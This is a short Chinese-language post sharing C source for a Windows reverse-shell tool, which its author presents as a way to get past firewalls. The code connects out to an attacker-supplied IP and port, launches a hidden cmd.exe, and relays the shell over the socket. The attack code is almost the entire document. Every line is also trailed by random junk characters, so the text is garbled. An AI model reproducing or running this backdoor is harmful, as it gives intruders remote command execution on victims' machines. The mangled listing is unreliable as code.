这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 h4]^~stI
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/* ============================== x0# Bc7y
Rebound port in Windows NT 0=>$J
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By wind,2006/7 Qj^Uz+b
===============================*/ CV0id&Nv
#include Lap?L/NS
#include %Y&48''"
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#pragma comment(lib,"wsock32.lib") -lo?16w
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void OutputShell(); M+%Xq0`T
SOCKET sClient; 6 - 3?&+
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; d]0:r]e
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void main(int argc,char **argv) T?RY~GA
{ it}h8:^<
WSADATA stWsaData; o898pg
int nRet; 27!FB@k-
SOCKADDR_IN stSaiClient,stSaiServer; mz0{eO
f\
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if(argc != 3) k{2Gq1S{
{ `jeATxWv
printf("Useage:\n\rRebound DestIP DestPort\n"); /"e@rnn
return; s*PKr6X+
} %6[,a
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WSAStartup(MAKEWORD(2,2),&stWsaData); 4v_Ac;2m&
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); OJm ]gb7
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stSaiClient.sin_family = AF_INET; K+~?yOQj
stSaiClient.sin_port = htons(0); EGl<oxL*R2
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 2G8w&dtu
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) J_7w_T/
{ ]zYIblpde
printf("Bind Socket Failed!\n"); %6q82}# `
return; e(s0mbJE
} myj/93p}`b
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stSaiServer.sin_family = AF_INET; l9\W=-'
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 0h1u W26^
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); wXUR9H|0(
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) }F]Z1('
{ at?I @By
printf("Connect Error!"); I7_lKr3
return; 48 -j
} ;Ci:d*
OutputShell(); 76D$Nm
} \lg
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void OutputShell() $ 5"
{ suQTi'K1
char szBuff[1024]; ?q`i
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SECURITY_ATTRIBUTES stSecurityAttributes; a6 gw6jQ
OSVERSIONINFO stOsversionInfo; N5K(yY_T
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; bkdXBCBx?
STARTUPINFO stStartupInfo; 5ih>x3S1/
char *szShell; ~B[e*|d
PROCESS_INFORMATION stProcessInformation; 6c!F%xU}
unsigned long lBytesRead; #H7
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); y`j_]qvt
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); /rpr_Xw}
stSecurityAttributes.lpSecurityDescriptor = 0; ^1 ){
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stSecurityAttributes.bInheritHandle = TRUE; n>)aw4
&vmk!wAs
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); WdOxwsq"
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); (RI)<zaK
;
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); $*eYiz3Ue
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [CEV&B
stStartupInfo.wShowWindow = SW_HIDE; 80Y%C-Y:
stStartupInfo.hStdInput = hReadPipe; qoZi1,i'
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; s O#cJAfuu
/}1|'?P
GetVersionEx(&stOsversionInfo); d3z nb@7
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switch(stOsversionInfo.dwPlatformId) At@0G\^
{ pmP~1=3
case 1: _Yo)m|RaB
szShell = "command.com"; 0y$VPgsKf
break; Y[e.1\d'
default: 5
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szShell = "cmd.exe"; gE #|eiu
break; #r9\.NA!
} z#!<[**&
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); I'IFBVhaYn
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send(sClient,szMsg,77,0); ga|<S@u?}
while(1) %( OP
[
{ n=j)M
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); FV9{u[3m
if(lBytesRead) X[Iy6qt
{ zx<t{e7
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); gH7 +#/
send(sClient,szBuff,lBytesRead,0); u)h
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} @MibKj>o
else _v#puFy
{ Xj]9/?B?
lBytesRead=recv(sClient,szBuff,1024,0); \
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if(lBytesRead<=0) break; I+Fy)=DO9
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); k% \;$u=%
} *i*\dl
} V_
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return; ds`YVXKH
}